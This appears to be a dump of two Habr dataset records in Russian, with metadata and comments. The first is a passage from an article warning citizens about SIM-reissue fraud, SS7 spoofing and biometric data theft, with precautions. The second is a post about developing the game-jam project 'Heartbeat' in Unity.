href="https://www.sberbank.ru/ru/s_m_business/pro_business/kak-stat-samozanyatym-onlajn-i-oficialno-rabotat-na-sebya/" rel="noopener noreferrer nofollow">регистрация самозанятости</a> в одном из крупных банков доступна только в мобильном приложении, а на веб-сайте не реализована).</p><h4>Риски</h4><p>Ответственность за выпуск SIM-карт и привязке их к конечному пользователю лежит на операторах связи, а по факту на сотрудниках салонов сотовой связи. Количество офисов мобильной связи по всей стране крайне высоко, а на сотрудников таких офисов ложатся попутные обязанности по продаже мобильной техники, обслуживанию клиентов и многие другие, в салоне могут трудиться стажеры – несложно представить себе ситуацию, когда сотрудник может просто не заметить несоответствия в паспортных данных при поступлении запроса на перевыпуск карты.</p><p>Получив дубликат сим-карты на другого человека, мошенники могут легко воспользоваться услугами онлайн-банкинга и перевести средства на подставной счет.</p><p>Помимо организационных рисков, пользователи мобильной GSM-cвязи подвержены также технологическим атакам. В основе GSM-сетей используется протокол <a href="https://ru.wikipedia.org/wiki/%D0%9E%D0%9A%D0%A1-7" rel="noopener noreferrer nofollow">SS7</a> (Signaling System 7), задуманный еще задолго до массового распространения голосовой связи и мобильной электроники. Данный протокол плохо предусматривал какую-либо защиту персональных данных и не предназначался для массового использования, поэтому подвержен большому количеству уязвимостей. Не вдаваясь глубоко в детали, можно отметить наиболее критические для конечного пользователя – это подмена номера звонящего и перехват трафика.</p><p>До сих пор непонятно какие технологии доступны злоумышленникам, как у них получается звонить или отправлять <a href="https://sitv.ru/arhiv/news/sberbank-na-svyazi-moshenniki-zvonyat-s-oficzialnyx-nomerov/" rel="noopener noreferrer nofollow">смс с номера 900</a> (именно девять-ноль-ноль, а не +7-900 или девять-буква О-буква О), насколько реальны атаки с использованием <a href="https://habr.com/ru/company/securitycode/blog/280886/" rel="noopener noreferrer nofollow">подставных базовых станций?</a> На основе каких технологий работают сайты, предоставляющие услуги подмены номера, например<a href="https://sipcaller.com/tags/%D1%81+%D0%BD%D0%BE%D0%BC%D0%B5%D1%80%D0%B0+900/" rel="noopener noreferrer nofollow"> такого типа</a>?</p><p>Так или иначе, атаки на GSM-сети создают безграничные сценарии и возможности социального инжиниринга – звонки от лица <a href="https://tass.ru/ekonomika/10118139" rel="noopener noreferrer nofollow">банков</a>, <a href="https://www.nalog.ru/rn55/news/activities_fts/4276747/" rel="noopener noreferrer nofollow">налоговых органов</a>,<a href="https://www.klerk.ru/buh/news/507602/" rel="noopener noreferrer nofollow"> </a><a href="https://r33.fssp.gov.ru/vnimanie_moshenniki/" rel="noopener noreferrer nofollow">судебных приставов</a> и пр. Потенциальный ущерб от таких действий также очевиден – потеря финансовых средств или собственности.</p><h4>Меры предосторожности</h4><p>Для борьбы с мошенничеством на основе перевыпуска SIM-карт у некоторых операторов существует возможность подключения дополнительных блокирующих услуг на стороне оператора – использование <a href="https://www.banki.ru/forum/?PAGE_NAME=read&amp;FID=61&amp;TID=250583" rel="noopener noreferrer nofollow">дополнительного пароля</a> для всех операций или <a href="https://msk.tele2.ru/option/prohibition-of-proxy-service" rel="noopener noreferrer nofollow">запрет на оказание услуг по доверенности</a>.</p><p>Про меры по борьбе с атаками на сами GSM-сети известно крайне мало, поскольку даже в самых современных моделях смартфонов используются те же самые принципы обмена сообщений на базе SS7, которые были заложены еще в первых моделях кнопочных телефонов. Устройство по сути является послушным терминалом, который по запросу базовой станции может отключить шифрование или осуществить другие операции. Остается только надеяться, что сотовые операторы осуществляют тщательный контроль и выявление серых терминальных устройств с своих сетях.</p><h4>Ссылки</h4><p><a href="https://www.klerk.ru/buh/news/507602/" rel="noopener noreferrer nofollow">Мошенники звонят с реальных номеров налоговой и грозят тюремным сроком за неуплату</a></p><p><a href="https://www.nalog.ru/rn55/news/activities_fts/4276747/" rel="noopener noreferrer nofollow">Мошенники представляются сотрудниками Федеральной налоговой службы</a></p><p><a href="https://udm-info.ru/news/society/16-01-2020/moshenniki-v-udmurtii-predstavlyayutsya-sudebnymi-pristavami" rel="noopener noreferrer nofollow">Мошенники в Удмуртии представляются судебными приставами</a></p><p><a href="https://sitv.ru/arhiv/news/sberbank-na-svyazi-moshenniki-zvonyat-s-oficzialnyx-nomerov/" rel="noopener noreferrer nofollow">Мошенники звонят с официальных номеров</a></p><p><a href="https://pravo.ru/story/218441/" rel="noopener noreferrer nofollow">Деньги воруют через перевыпуск сим-карт</a></p><p><a href="https://habr.com/ru/post/403649/" rel="noopener noreferrer nofollow">Уязвимость в протоколе SS7 уже несколько лет используют для перехвата SMS и обхода двухфакторной аутентификации</a></p><p><a href="https://www.kommersant.ru/doc/4156344" rel="noopener noreferrer nofollow">Перевыпуск сим-карты открыл доступ к чужим средствам</a></p><p><a href="https://www.banki.ru/forum/?PAGE_NAME=read&amp;FID=61&amp;TID=250583" rel="noopener noreferrer nofollow">Как защитить свои сим-карты от перевыпуска по фальшивой доверенности</a></p><h2>3. Мошенничество с биометрическими данными</h2><h4>Предыстория</h4><p>На фоне растущей роли механизмов онлайн-идентификации биометрические технологии с первого взгляда выглядят как дополнительный рубеж защиты – кажется, что за счет расширения идентификационного профиля новыми признаками (голос, лицо, отпечатки, ДНК, и пр.) мы затрудняем процедуру взлома. Биометрические признаки обладают высокой степенью уникальности и не требуют запоминания. Но возникает необходимость защиты самих биометрических данных от копирования.</p><p>Помимо этого, для широкого применения биометрический идентификации требуется создание единого депозитария биометрических данных, надежность которого опять же будет зависеть от добросовестности целого ряда учреждений и организаций, вовлеченных в процесс работы с такими данными.</p><h4>Описание угрозы</h4><p>Несмотря на все преимущества биометрической идентификации на практике уже продемонстрированы примеры копирования таких биометрических данных как <a href="https://www.bbc.com/russian/society/2014/12/141229_hackers_fingerprints" rel="noopener noreferrer nofollow">отпечаток</a>, <a href="https://www.wired.com/story/hackers-say-broke-face-id-security/" rel="noopener noreferrer nofollow">форма лица</a>, <a href="https://hightech.fm/2017/04/25/lyrebird" rel="noopener noreferrer nofollow">голос</a> и др. А в новостях уже возникают сообщения о попытках злоумышленников осуществлять централизованный сбор таких биометрических данных, как голосовые профили абонентов - путем обзвона и записи ответов на типовые вопросы. Используя записанный голос абонента, например, в будущем мошенники смогут обратиться в банк по телефону, снять деньги через <a href="https://www.rbc.ru/technology_and_media/24/09/2020/5f6c55549a7947538cdf8305" rel="noopener noreferrer nofollow">банкомат с функцией распознавания лиц</a> или пройти на <a href="https://lenta.ru/articles/2021/03/02/metro/" rel="noopener noreferrer nofollow">защищенный системой фото-идентификации объект</a> за счет кошелька жертвы (метро, автобус, и пр.).</p><h4>Меры предосторожности</h4><p>Сформулировать меры предосторожности против кражи биометрических данных крайне сложно, поскольку количество векторов атаки постоянно растет, а цифровой след пользователей с каждым годом расширяется новыми данными - фотографии в социальных сетях, голосовые записи в мессенджерах и пр.</p><p>Стоит проявлять особую бдительность в отношении контролируемого (с вашего согласия) и неконтролируемого распространения личных и биометрических данных. Желательно минимизировать использование личных данных при пользовании социальными сетями и онлайн-услугами, если это не является крайне необходимым (оформление скидочных и подарочных карт, регистрация профиля в интернет-магазинах, заказ доставки и пр.)</p><p>Внимательно читайте пользовательские соглашения и дополнительные согласия при общении с сотрудниками банков, при установке мобильных приложений, при использовании сервисов гос. услуг и т.д. Зачастую, пользователи даже не знают о том, что согласились на передачу своих данных третьим лицам, например при установке каршеринг-приложения.</p><p>Убедить всех пользователей читать пользовательские соглашения невозможно, но существуют порталы (например англоязычный <a href="https://tosdr.org/" rel="noopener noreferrer nofollow">Terms of Service - Didn't Read</a>), где энтузиасты самостоятельно вычитывают и агрегируют краткие содержания пользовательских соглашений крупных социальных сетей, компаний и онлайн-сервисов. Наличие такого пункта как "Your biometric data is collected" около заголовка одной популярной иностранной социальной сети может стать аргументом при принятии решения о регистрации аккаунта.</p><h4>Ссылки</h4><p><a href="https://1prime.ru/finance/20201011/832144533.html" rel="noopener noreferrer nofollow">Эксперты рассказали, для чего мошенники собирают записи голосов россиян</a></p><p><a href="https://www.kommersant.ru/doc/4770172" rel="noopener noreferrer nofollow">Мошенники стали использовать голоса клиентов банков для получения кредитов</a></p><p><a href="https://www.cnews.ru/news/top/2019-10-24_sberbank_slil_v_set_biometriyu" rel="noopener noreferrer nofollow">В Сети продается биометрия и данные о кредитах клиентов Сбербанка</a></p><p><a href="https://hightech.fm/2017/04/25/lyrebird" rel="noopener noreferrer nofollow">ИИ может сымитировать голос любого человека</a></p><p><a href="https://www.bbc.com/russian/society/2014/12/141229_hackers_fingerprints" rel="noopener noreferrer nofollow">Хакерам удалось скопировать отпечатки пальцев по фото</a></p><p><a href="https://www.wired.com/story/hackers-say-broke-face-id-security/" rel="noopener noreferrer nofollow">Hackers Say They've Broken Face ID a Week After iPhone X Release</a></p><h4>Постскриптум</h4><p>Безусловно это далеко не исчерпывающий список угроз и он основан лишь на сведениях из открытых источников, но мы попытались рассмотреть наиболее приоритетные угрозы с точки зрения сложности их устранения, непосредственного ущерба для граждан и значимости в контексте всеобщей цифровизации услуг и сервисов.</p><p>Стоит отметить так же, что перечисленные выше меры предосторожности являются лишь частичной защитой граждан от потенциальных рисков и никоим образом не являются решением самой проблемы уязвимости цифровых сервисов.</p><p>Есть надежда, что массовость угрозы в какой-то момент привлечет более широкое внимание, общественную дискуссию и соответствующие законодательные поправки. Например, с 1 января 2021 года <a href="https://iitrust.ru/articles/expert/izmeneniya-v-No63-fz-gosduma-prinyala-popravki-v-zakon-ob-elektronnoy-podpisi-chast-2/" rel="noopener noreferrer nofollow">вступили в силу поправки</a> в закон 63-ФЗ “Об электронной подписи”, ужесточающие регламент деятельности удостоверяющих центров (среди прочего, увеличивается сумма уставного капитала удостоверяющего центра с 7 млн. руб. до 1 млрд. рублей, для работников УЦ вводится уголовная ответственность за неисполнение обязанностей и пр.). По результатам опроса в 2020 году <a href="https://www.rbc.ru/technology_and_media/28/12/2020/5fe5cee59a7947dfd4362d12" rel="noopener noreferrer nofollow">половина россиян не поддержала создание властями биометрической системы</a>, а <a href="https://www.cnews.ru/news/top/2020-01-14_gosduma_otlozhila_prinyatie" rel="noopener noreferrer nofollow">Госдума заморозила законопроект по сбору биометрии в банках</a>.</p><p>Тем не менее, учитывая стремительные темпы распространения цифровых технологий становится очевидным, что для безопасного и стабильного функционирования цифровых услуг, крайне важно не только бороться с фактами уже свершившихся цифровых преступлений, но и упреждать потенциальные угрозы еще до их возникновения. Безотносительно к партийным или политическим воззрениям, мы как профессиональное ИТ-сообщество можем принять в этом активное участие как общественный мозговой центр по выявлению, систематизации и подготовке предложений по устранению потенциальных угроз безопасному цифровому будущему. (%Неравнодушные_Хабрапользователи%, не хотите обсудить это?)</p><p>Всем хороших праздников и безопасного интернета!</p></div>
pchirikov
null
null
<p>Цифровизация стремительно охватывает важнейшие сферы общественной жизни – от получения социальных услуг, оформления кредита до обмена квартиры или покупки автомобиля. Сейчас уже трудно представить жизнь без портала гос. услуг, мобильного банкинга или интернет-магазинов. Такие услуги стали возможными благодаря технологиям цифровой идентификации, скоростной мобильной связи, централизации баз данных гос. органов и конечно же модернизации нормативно-правовых регламентов. Но как и другие технологии они не лишены критических уязвимостей, от скорейшего устранения которых зависит защищенность и безопасность будущего цифрового общества.</p><p>Давайте попробуем рассмотреть некоторые уязвимости, которые могут создать прямой материальный ущерб для рядовых граждан – от потери денежных средств и имущества до кражи идентификатора личности и биометрического профиля.</p>
Цифровизация стремительно охватывает важнейшие сферы общественной жизни – от получения социальных услуг, оформления кредита до обмена квартиры или покупки автомобиля. Сейчас уже трудно представить жизнь без портала гос. услуг, мобильного банкинга или интернет-магазинов. Такие услуги стали возможными благодаря технологиям цифровой идентификации, скоростной мобильной связи, централизации баз данных гос. органов и конечно же модернизации нормативно-правовых регламентов. Но как и другие технологии они не лишены критических уязвимостей, от скорейшего устранения которых зависит защищенность и безопасность будущего цифрового общества. Давайте попробуем рассмотреть некоторые уязвимости, которые могут создать прямой материальный ущерб для рядовых граждан – от потери денежных средств и имущества до кражи идентификатора личности и биометрического профиля.
article
1,620,656,896
{ "commentsCount": 4, "favoritesCount": 25, "readingCount": 4061, "score": 8, "votesCount": 8, "votesCountPlus": 8, "votesCountMinus": 0 }
[ "sandbox" ]
[ "infosecurity", "research", "futurenow" ]
[ "develop", "management", "popsci" ]
[ "цифровое будущее", "цифровое общество", "безопасность" ]
9
null
null
{ "id": [ 23019830, 23020702, 23020902, 23021382 ], "parent_id": [ null, 23019830, 23020702, 23020702 ], "level": [ 0, 1, 2, 2 ], "time_published": [ 1620666216, 1620704304, 1620714652, 1620722171 ], "score": [ 0, 1, 0, 0 ], "votes": [ 0, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">По работе оформили на меня ЭП в удостоверяющем центре. Через 10 минут пришло от Госуслуг письмо, что вам оформлена ЭП в УЦ «ХХХ». Т.е. информирование теперь проводится.<br/>\r\n<br/>\r\nКак мне рассказали, весьма вероятно передача функции оформления электронных подписей от частных УЦ в налоговую инспекцию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А почему сразу в МФЦ, например, не передали? Нафига эти левые центры, когда есть государственный?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Потому что если вы хотите создать, например, ИП, есть куча бухгалтерских контор, которые это сделают по сканам документов. И вся эта толпа людей не хочет стоять в очереди в МФЦ. Та контора, с которой работала моя предыдущая работа, сначала вживую удостоверилась, что директор головной конторы настоящий и вероятно добропорядочный, но всякие операции для сотрудников уже по сканам делала не особо запариваясь. Уверен, что есть те, через кого и менее надёжную процедуру можно устроить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Когда уже существовали аккредитованные УЦ, то никаких МФЦ и госуслуг в помине не было. Тогда законодательно разрешили аккредитованным УЦ выдавать ЭП и физ. лицам.<br/>\r\nСейчас выявлено много рисков, связанных с использованием ЭП. Но законодательно и организационного госорганы не готовы защищать граждан.<br/>\r\nПоэтому теперь, когда уже всё со стороны аккредитованных УЦ сделано, госторганы стараются перетянуть одеяло на себя, пётем изменения 63-ФЗ. Но не факт, что если функция по выдаче ЭП физ. лицам перейдет в ведение только госорганов, ситуация с защищенностью и бардаком изменится. Ведь например выше описанный риск с квартирами возник не из-за аккредитованных УЦ, а из-за недоработок Росреестра в части отработки таких рисков.</div>" ], "message_markdown": [ "По работе оформили на меня ЭП в удостоверяющем центре. Через 10 минут пришло от Госуслуг письмо, что вам оформлена ЭП в УЦ «ХХХ». Т.е. информирование теперь проводится.\nКак мне рассказали, весьма вероятно передача функции оформления электронных подписей от частных УЦ в налоговую инспекцию.", "А почему сразу в МФЦ, например, не передали? Нафига эти левые центры, когда есть государственный?", "Потому что если вы хотите создать, например, ИП, есть куча бухгалтерских контор, которые это сделают по сканам документов. И вся эта толпа людей не хочет стоять в очереди в МФЦ. Та контора, с которой работала моя предыдущая работа, сначала вживую удостоверилась, что директор головной конторы настоящий и вероятно добропорядочный, но всякие операции для сотрудников уже по сканам делала не особо запариваясь. Уверен, что есть те, через кого и менее надёжную процедуру можно устроить.", "Когда уже существовали аккредитованные УЦ, то никаких МФЦ и госуслуг в помине не было. Тогда законодательно разрешили аккредитованным УЦ выдавать ЭП и физ. лицам.\nСейчас выявлено много рисков, связанных с использованием ЭП. Но законодательно и организационного госорганы не готовы защищать граждан.\nПоэтому теперь, когда уже всё со стороны аккредитованных УЦ сделано, госторганы стараются перетянуть одеяло на себя, пётем изменения 63-ФЗ. Но не факт, что если функция по выдаче ЭП физ. лицам перейдет в ведение только госорганов, ситуация с защищенностью и бардаком изменится. Ведь например выше описанный риск с квартирами возник не из-за аккредитованных УЦ, а из-за недоработок Росреестра в части отработки таких рисков." ], "author": [ "AstorS1", "BigBeerman", "kraidiky", "Shaman_RSHU" ], "children": [ [ 23020702 ], [ 23020902, 23021382 ], [], [] ] }
221,155
ru
https://habr.com/ru/post/221155/
Об участии в GamesJamGAMM: Project «Heartbeat»
В ночь с воскресенья на понедельник закончился прием работ на GamesJamGAMM. Это был недельный гейм джем, где нужно было разработать игру на тему “фобии”. В этой статье мы расскажем о том, как мы делали для него свой проект. У нас уже есть опыт участия в подобных мероприятиях. Мы участвовали в недельном гейм джеме от NextCastle (о чем уже писали на Хабре), и в месячном фестивале от Канобу (цикл статей на Хабре). Каждый раз мы начинали с абсолютного нуля, использовали разные технологии и пытались реализовать разные идеи. Итак, начнем с самого начала. Тему объявили в ночь на понедельник... (Кстати, надо не забывать о том, что у нас еще есть основная работа и тратить 100% времени на проект для джема мы не могли). Практически весь 1-й день у нас ушел на обдумывание концепции. По началу не рождалось ничего. Потом начала выкристаллизовываться идея. При чем, если оба предыдущих проекта мы делали “от геймплея”, то этот проект придумался именно от идеи, а геймплей рождался позже. Идея состояла в том, что вы играете за некую страшную тварь, которая питается страхами других. При этом хотелось передать игроку ощущение всевластия, чтобы он с наслаждением убивал “жалких людишек” и т.п. Постепенно появилась так же забавная идея — что у нашего монстра тоже есть страх. Он боится тех, кто не боится его. #### Начало реализации Далее мы начали думать об арте. Хотелось сделать картинку какой-то “не такой”. Хотелось передать ощущение, что наша тварюга видит весь мир несколько иначе. (Да, надо отметить, что идеи с 3D не брались в расчет, т.к. с ним у нас нет опыта и вряд ли бы мы смогли вытянуть хорошую картинку в 3D за такие сроки). Придумалось, что монтср особо не видит тела, но видит только кровеносную систему и главное — сердце. В этот же момент родилось название — Heartbeat и начали появляться зачатки геймплея. Например, идея с тем, что мы не можем определить, насколько враждебен человек по его внешнему виду. То есть на космической станции, где мы оказались, есть гражданские и военные, но для нас они выглядят абсолютно одинаково. А отличить их можно только по их реакции и учащению сердцебиения. С помощью жонглирования яркостью-контрастностью и color dodge блендой, удалось реализовать такой шейдер: Художник сел рисовать концепт, а мы (два программиста) — начали в свободное время ковырять всякие шейдеры, технологии освещения и т.п. По технологиям — тут все просто. Мы взяли известную нам Unity, но кучу неизвестных нам технологий — таких как динамический свет, тени, хитрые бленды наложения пост-эффектов и т.п. (художник постоянно просил реализовать бленды из Фотошопа в билде). Где-то к четвергу мы поняли, что времени остается все меньше, а игры еще нет. Есть кое-какой арт и есть пара интересных шейдеров. Например, были взяты 2D Volumetric Lights, но художнику не понравилось то, что там освещение идет только в сторону затемнения. Пришлось извратиться с рендером в текстуру и блендированием руками. А еще на эту текстуру света был повешен noise. Получилось, как будто в воздухе висит пыль. Саму монстрягу не хотелось вырисовывать, а сделать неким непонятным существом, но при этом — пугающим. Художник понакрутил всяких партиклов. В это же время нам постучался Андрей droo и предложил свою помощь в звуке. Мы радостно согласились и попытались передать ему те ощущения, которые мы хотим вызвать. Всю неделю были завалы по основной работе (билд не собирался), так что по программированию не удавалось выделять столько времени, сколько хотелось бы. Мы приходили домой и бросались кодить. Спали по 6 часов. #### Когда же плейтест? К субботе стало немного не по себе. В воскресенье заканчиваются сроки, а игры все нет. И вообще не ясно, как оно будет играться. Но впереди еще были два выходных. Оба выходных мы провели в офисе, уезжая домой уже ближе к ночи, чтобы продолжить из дома. Это было время пиковой продуктивности, но мы успели. Половину всего времени отняло проектирование станции и написание логики поведения членов команды станции. Искусственного интеллекта за неделю у нас, конечно, не вышло. Но с помощью кучи разных правил и waypoint получилось достичь приемлемого поведения членов команды — гражданские убегают в убежища, а охрана идет проверять источники подозрительных шумов. Не сказать, что мы успели все, что планировали... но все равно — мы довольны результатом. Получилось мрачно и красиво. Звук тоже не подкачал (за что огромное спасибо!). Деплоили билд мы в дикой спешке. Вышли из офиса в воскресенье мы в 0:20. Голова немного кружилась от нереального напряжения. Мы пребывали в прострации и не совсем понимали, что происходит в реальном мире. Но это было интересно. Результаты будут позже. Команда: программист, программист-геймдизайнер, художник и звуковик. Узнать больше о проекте и поиграть можно по ссылке. Проект, естественно, полностью бесплатный и не претендует на какую-либо монетизацию.
<div xmlns="http://www.w3.org/1999/xhtml">В ночь с воскресенья на понедельник закончился прием работ на <a href="http://gamesjam.org/events/3/">GamesJamGAMM</a>. Это был недельный гейм джем, где нужно было разработать игру на тему “фобии”.<br/> <br/> В этой статье мы расскажем о том, как мы делали для него свой проект.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/a52/611/ccc/a52611ccc24e48e568450dd1115fae75.png" data-src="https://habrastorage.org/getpro/habr/post_images/a52/611/ccc/a52611ccc24e48e568450dd1115fae75.png"/><br/> <br/> У нас уже есть опыт участия в подобных мероприятиях. Мы участвовали в недельном гейм джеме от NextCastle (о чем уже <a href="http://habrahabr.ru/post/199436/">писали на Хабре</a>), и в месячном фестивале от Канобу (<a href="http://habrahabr.ru/search/?q=[vhstory]&amp;target_type=posts">цикл статей на Хабре</a>).<br/> <br/> Каждый раз мы начинали с абсолютного нуля, использовали разные технологии и пытались реализовать разные идеи.<br/> <a name="habracut"></a><br/> Итак, начнем с самого начала. Тему объявили в ночь на понедельник… (Кстати, надо не забывать о том, что у нас еще есть основная работа и тратить 100% времени на проект для джема мы не могли). Практически весь 1-й день у нас ушел на обдумывание концепции. По началу не рождалось ничего. Потом начала выкристаллизовываться идея. При чем, если оба предыдущих проекта мы делали “от геймплея”, то этот проект придумался именно от идеи, а геймплей рождался позже.<br/> <br/> Идея состояла в том, что вы играете за некую страшную тварь, которая питается страхами других. При этом хотелось передать игроку ощущение всевластия, чтобы он с наслаждением убивал “жалких людишек” и т.п.<br/> <br/> Постепенно появилась так же забавная идея — что у нашего монстра тоже есть страх. Он боится тех, кто не боится его.<br/> <br/> <h4>Начало реализации</h4><br/> Далее мы начали думать об арте. Хотелось сделать картинку какой-то “не такой”. Хотелось передать ощущение, что наша тварюга видит весь мир несколько иначе. (Да, надо отметить, что идеи с 3D не брались в расчет, т.к. с ним у нас нет опыта и вряд ли бы мы смогли вытянуть хорошую картинку в 3D за такие сроки).<br/> <br/> Придумалось, что монтср особо не видит тела, но видит только кровеносную систему и главное — сердце. В этот же момент родилось название — Heartbeat и начали появляться зачатки геймплея. Например, идея с тем, что мы не можем определить, насколько враждебен человек по его внешнему виду. То есть на космической станции, где мы оказались, есть гражданские и военные, но для нас они выглядят абсолютно одинаково. А отличить их можно только по их реакции и учащению сердцебиения.<br/> <br/> С помощью жонглирования яркостью-контрастностью и color dodge блендой, удалось реализовать такой шейдер:<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/2bd/976/3ce/2bd9763ce507fee84d64701d34d2e166.gif" data-src="https://habrastorage.org/getpro/habr/post_images/2bd/976/3ce/2bd9763ce507fee84d64701d34d2e166.gif"/><br/> <br/> Художник сел рисовать концепт, а мы (два программиста) — начали в свободное время ковырять всякие шейдеры, технологии освещения и т.п.<br/> <br/> По технологиям — тут все просто. Мы взяли известную нам Unity, но кучу неизвестных нам технологий — таких как динамический свет, тени, хитрые бленды наложения пост-эффектов и т.п. (художник постоянно просил реализовать бленды из Фотошопа в билде).<br/> <br/> Где-то к четвергу мы поняли, что времени остается все меньше, а игры еще нет. Есть кое-какой арт и есть пара интересных шейдеров.<br/> <br/> Например, были взяты 2D Volumetric Lights, но художнику не понравилось то, что там освещение идет только в сторону затемнения. Пришлось извратиться с рендером в текстуру и блендированием руками.<br/> <br/> А еще на эту текстуру света был повешен noise. Получилось, как будто в воздухе висит пыль.<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/15e/620/053/15e62005319dac9d5083f71c6553d8b1.gif" data-src="https://habrastorage.org/getpro/habr/post_images/15e/620/053/15e62005319dac9d5083f71c6553d8b1.gif"/><br/> <br/> Саму монстрягу не хотелось вырисовывать, а сделать неким непонятным существом, но при этом — пугающим. Художник понакрутил всяких партиклов.<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/d69/38a/509/d6938a509c339828b9cc2be719c1da49.gif" data-src="https://habrastorage.org/getpro/habr/post_images/d69/38a/509/d6938a509c339828b9cc2be719c1da49.gif"/><br/> <br/> В это же время нам постучался Андрей <a href="http://habrahabr.ru/users/droo/" class="user_link">droo</a> и предложил свою помощь в звуке. Мы радостно согласились и попытались передать ему те ощущения, которые мы хотим вызвать.<br/> <br/> Всю неделю были завалы по основной работе (билд не собирался), так что по программированию не удавалось выделять столько времени, сколько хотелось бы. Мы приходили домой и бросались кодить. Спали по 6 часов.<br/> <br/> <h4>Когда же плейтест?</h4><br/> К субботе стало немного не по себе. В воскресенье заканчиваются сроки, а игры все нет. И вообще не ясно, как оно будет играться. Но впереди еще были два выходных. Оба выходных мы провели в офисе, уезжая домой уже ближе к ночи, чтобы продолжить из дома.<br/> <br/> Это было время пиковой продуктивности, но мы успели.<br/> <br/> Половину всего времени отняло проектирование станции и написание логики поведения членов команды станции. Искусственного интеллекта за неделю у нас, конечно, не вышло. Но с помощью кучи разных правил и waypoint получилось достичь приемлемого поведения членов команды — гражданские убегают в убежища, а охрана идет проверять источники подозрительных шумов.<br/> <br/> <img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/9f3/ccc/985/9f3ccc9859dc96a3e2f8804081dc590f.png" data-src="https://habrastorage.org/getpro/habr/post_images/9f3/ccc/985/9f3ccc9859dc96a3e2f8804081dc590f.png"/><br/> <br/> Не сказать, что мы успели все, что планировали… но все равно — мы довольны результатом. Получилось мрачно и красиво. Звук тоже не подкачал (за что огромное спасибо!).<br/> <br/> Деплоили билд мы в дикой спешке. Вышли из офиса в воскресенье мы в 0:20. Голова немного кружилась от нереального напряжения. Мы пребывали в прострации и не совсем понимали, что происходит в реальном мире.<br/> <br/> Но это было интересно. Результаты будут позже.<br/> <br/> Команда: программист, программист-геймдизайнер, художник и звуковик.<br/> <br/> Узнать больше о проекте и поиграть можно по <a href="http://gamesjam.org/505/">ссылке</a>.<br/> <br/> Проект, естественно, полностью бесплатный и не претендует на какую-либо монетизацию.</div>
Святослав (soulburner)
null
null
В ночь с воскресенья на понедельник закончился прием работ на <a href="http://gamesjam.org/events/3/">GamesJamGAMM</a>. Это был недельный гейм джем, где нужно было разработать игру на тему “фобии”.<br/> <br/> В этой статье мы расскажем о том, как мы делали для него свой проект.<br/> <br/> <img src="https://habrastorage.org/getpro/habr/post_images/a52/611/ccc/a52611ccc24e48e568450dd1115fae75.png"/><br/> <br/> У нас уже есть опыт участия в подобных мероприятиях. Мы участвовали в недельном гейм джеме от NextCastle (о чем уже <a href="http://habrahabr.ru/post/199436/">писали на Хабре</a>), и в месячном фестивале от Канобу (<a href="http://habrahabr.ru/search/?q=[vhstory]&amp;target_type=posts">цикл статей на Хабре</a>).<br/> <br/> Каждый раз мы начинали с абсолютного нуля, использовали разные технологии и пытались реализовать разные идеи.<br/>
В ночь с воскресенья на понедельник закончился прием работ на GamesJamGAMM. Это был недельный гейм джем, где нужно было разработать игру на тему “фобии”. В этой статье мы расскажем о том, как мы делали для него свой проект. У нас уже есть опыт участия в подобных мероприятиях. Мы участвовали в недельном гейм джеме от NextCastle (о чем уже писали на Хабре), и в месячном фестивале от Канобу (цикл статей на Хабре). Каждый раз мы начинали с абсолютного нуля, использовали разные технологии и пытались реализовать разные идеи.
article
1,398,688,999
{ "commentsCount": 12, "favoritesCount": 66, "readingCount": 10609, "score": 19, "votesCount": 29, "votesCountPlus": 24, "votesCountMinus": 5 }
[]
[ "gamedev", "unity" ]
[ "develop" ]
[ "GamesJamGAMM", "unity", "игры" ]
3
null
null
{ "id": [ 7540715, 7540731, 7540789, 7540921, 7540933, 7541027, 7541031, 7541065, 7541729, 7543673, 7543983, 7565337 ], "parent_id": [ null, 7540715, null, 7540789, 7540921, 7540933, null, 7541027, 7541065, null, 7543673, 7543983 ], "level": [ 0, 1, 0, 1, 2, 3, 0, 4, 5, 0, 1, 2 ], "time_published": [ 1398700858, 1398701356, 1398702634, 1398706216, 1398706512, 1398710028, 1398710145, 1398710919, 1398732354, 1398773838, 1398776343, 1399451789 ], "score": [ 0, 1, 0, 1, 0, 1, 3, 0, 0, 0, 0, 0 ], "votes": [ 0, 1, 0, 1, 0, 1, 3, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не мобли бы вы детальнее о свете для полного новичка (возможно новым топиком)? Был бы очень благодарен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На самом деле, именно по свету — нет. Мы взяли готовое решение: <a href=\"http://u3d.as/content/reverie-interactive/2d-volumetric-lights/36x\">u3d.as/content/reverie-interactive/2d-volumetric-lights/36x</a>. И тюнили уже только бленды.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за краткий обзор, но всё-таки хотелось бы видеть больше технической информации.<br/>\r\n<br/>\r\nЯ как раз сейчас начинаю изучать Unity. Не подскажете, какие уроки лучше: официальные с их сайта, или есть что-то более качественное? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">К сожалению, не знаю. Обычно никаких уроков или литературы не смотрю/читаю. Только если по конкретным задачам. Например, как работать с каким-нибудь инструментом — открыл доку, посмотрел что под руку попалось — и вперед.<br/>\r\n<br/>\r\nКурс молодого бойца составить не могу. Помню только, что от «открыл юнити в первый раз» до «ааа, так все понятно» — у меня прошел 1 день. Но это было на флэшовый бэкграунд.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Флешевый бэкграунд у меня тоже есть, и так же как и вы уже фигачил в первые дни всякую мелочёвку… Хотелось просто получить какую-нибудь основу, чтобы не объезжать грабли, на велосипедах сконструированных из костылей. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можете посмотреть <a href=\"http://habrahabr.ru/post/148410/\">здесь</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да уж, в свете недавних событий Heartbeat действительно может вызвать фобию</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо! С удовольствием прочту оба ваших поста!<br/>\r\nСкажите, а ещё статьи из этой области намечаются? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не исключаю такой возможности</div>", "<div 